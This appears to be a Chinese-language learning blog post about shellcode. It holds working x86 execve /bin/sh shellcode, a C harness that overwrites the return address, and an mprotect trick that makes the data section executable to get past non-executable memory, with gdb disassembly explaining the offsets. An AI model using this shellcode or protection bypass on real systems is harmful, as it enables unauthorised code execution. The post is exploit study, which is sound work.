最近学点shell code。
看了一个基础的例子:
照着书上敲了一遍:
//a.c
char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
int main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
>>gcc a.c ; ./a.out
结果出现Segmentation fault
查其原因,是因为data section不再像以前那样,可执行了。
root@ubuntu:/tmp# readelf -S a.out
There are 30 section headers, starting at offset 0x1194:
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
...
[13] .text PROGBITS 08048300 000300 00017c 00 AX 0 0 16
...
[24] .data PROGBITS 0804a020 001020 00004c 00 WA 0 0 32
...
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings)
I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)
由此可以看出,没给data section执行的权限X
======================================================================================================================
于是改代码,在代码中添加mprotect函数,给data section增加X权限。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
char shellcode[] = //"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
int main()
{
int *ret;
ret = (int*)&ret + 4;
(*ret) = (int)shellcode;
mprotect((void*)((int)(*ret) & 0xfffff000), 0x2000, PROT_READ|PROT_WRITE|PROT_EXEC);
}
root@ubuntu:/tmp# ./a.out
#
执行成功
======================================================================================================================
在这里把源代码的&ret + 2改成了&ret + 4
这是因为在原代码中,将main函数反汇编可以看到
0x080483b4 <+0>: push %ebp
0x080483b5 <+1>: mov %esp,%ebp
0x080483b7 <+3>: sub $0x10,%esp
0x080483ba <+6>: lea -0x4(%ebp),%eax
0x080483bd <+9>: add $0x8,%eax
0x080483c0 <+12>: mov %eax,-0x4(%ebp)
0x080483c3 <+15>: mov -0x4(%ebp),%eax
0x080483c6 <+18>: mov $0x804a040,%edx
0x080483cb <+23>: mov %edx,(%eax)
0x080483cd <+25>: leave
0x080483ce <+26>: ret
而在修改后的代码中,通过比较可以发现,计算eip的方法变了:原例子中计算方法是ebp- 4 + 8,
而修改代码后则变成了ebp - 8(此处为减8的原因是and $0xfffffff0,%esp) - 0x20 + 0x10 + 0x1c
=> 0x080483e4 <+0>: push %ebp
0x080483e5 <+1>: mov %esp,%ebp
0x080483e7 <+3>: and $0xfffffff0,%esp
0x080483ea <+6>: sub $0x20,%esp
0x080483ed <+9>: lea 0x1c(%esp),%eax
0x080483f1 <+13>: add $0x10,%eax
0x080483f4 <+16>: mov %eax,0x1c(%esp)
0x080483f8 <+20>: mov 0x1c(%esp),%eax
0x080483fc <+24>: mov $0x804a040,%edx
0x08048401 <+29>: mov %edx,(%eax)
0x08048403 <+31>: mov 0x1c(%esp),%eax
0x08048407 <+35>: mov (%eax),%eax
0x08048409 <+37>: and $0xfffff000,%eax
0x0804840e <+42>: movl $0x7,0x8(%esp)
0x08048416 <+50>: movl $0x2000,0x4(%esp)
0x0804841e <+58>: mov %eax,(%esp)
0x08048421 <+61>: call 0x8048300 <mprotect@plt>
0x08048426 <+66>: leave
0x08048427 <+67>: ret
End of assembler dump.
(gdb) ni
0x080483e5 18 {
(gdb) ni
0x080483e7 18 {
(gdb) print/x $esp
$1 = 0xbffff728
(gdb) q
虽然成功溢出,但是没有提权成功。还得接着学习。